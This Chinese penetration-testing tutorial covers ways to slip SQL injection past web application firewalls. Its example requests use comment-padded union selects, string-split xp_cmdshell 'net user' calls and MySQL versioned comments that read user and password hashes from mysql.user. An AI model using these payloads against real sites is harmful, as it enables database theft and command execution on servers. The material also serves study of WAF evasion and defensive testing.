渗透测试之WAF规则触发绕过规则之规则库绕过方式

目录

Waf触发规则的绕过

特殊字符替换空格

实例

特殊字符拼接绕过waf

[Mysql 内置得方法](#Mysql 内置得方法)

注释包含关键字

实例


Waf触发规则的绕过


特殊字符替换空格

  • 用一些特殊字符代替空格,比如在mysql中%0a是换行,可以代替空格

    • 这个方法也可以部分绕过最新版本的WAF

    • 在sqlserver和mysql中都可以用/**/代替空格,也可以使用如下方法:

  • &&&
  • /*|%23--%23|*/ 注释符号 *|%23--%23|* 干扰符号
  • /**/代替空格
  • Select/**/*from/**/member

实例

复制代码
http://192.168.0.142:8080/sql.php?id=1/*|%23--%23|*/union/*|%23-- %23|*/select/*|%23--%23|*/1,user(),3,4,5 
-------------------------------------------------------------------------------
http://192.168.0.142:8080/sql.php?id=1/*|%23--%23|*/and/*|%23--%23|*/1=2 
%23 是#的url编码形式


特殊字符拼接绕过waf

Mysql 内置得方法

复制代码
Select user() 当前用户名称
Database() 当前数据库 
调用一些mysql得拼接函数 防火墙是解析不到 但是sql语句是能进行执行得。 
  • 把特殊字符拼接起来绕过WAF的检测

  • 通过+拼接,比如在Mysql中

  • 可以利用注释/**/来绕过,在mssql中,函数里面可以用+来拼接

    如:GET /pen/news.php?id=1;exec(master..xp_cmdshell 'net user')
    可以改为:GET /pen/news.php?id=1; exec('maste'+'r..xp'+'_cmdshell'+'"net user"')

注释包含关键字

  • 在mysql中

    • 可以利用/!/包含关键词进行绕过

    • 在mysql中这个不是注释,而是取消注释的内容

    • 测试最新版本的WAF可以完美绕过。 这个需要mysql版本大于5.00.00

实例

复制代码
如:GET /pen/news.php?id=1;exec(master..xp_cmdshell 'net user')
可以改为:GET /pen/news.php?id=1; exec('maste'+'r..xp'+'_cmdshell'+'"net user"')
---------------------------------------------------------------------------------
如: GET /pen/news.php?id=1 union select user,password from mysql.user
可以改为: GET /pen/news.php?id=1 /*!union*/ /*!select*/ user,password /*!from*/ mysql.user

喜欢本文的请动动小手点个赞,收藏一下,有问题请下方评论,转载请注明出处,并附有原文链接,谢谢!如有侵权,请及时联系。

相关推荐
_小马快跑_41 分钟前
Android | 利用ItemDecoration绘制RecyclerView分割线
android
_小马快跑_43 分钟前
别再手写 if/else 判断了!赶紧来掌握 Kotlin 的 coerce 三兄弟吧
android
_小马快跑_1 小时前
Android Xfermode应用:实现圆角矩形、圆形等图片裁切
android
怀旧,1 小时前
【数据结构】4.单链表实现通讯录
android·服务器·数据结构
yechaoa1 小时前
Widget开发实践指南
android·前端
顾林海3 小时前
Flutter 图标和按钮组件
android·开发语言·前端·flutter·面试
匹马夕阳4 小时前
(二十二)安卓开发中的数据存储之SQLite简单使用
android·数据库·sqlite
_一条咸鱼_5 小时前
大厂Android面试秘籍:上下文管理模块
android·面试·android jetpack
mingzhi615 小时前
绿盟二面面试题
android·web安全·渗透测试
SY.ZHOU7 小时前
Flutter 与原生通信
android·flutter·ios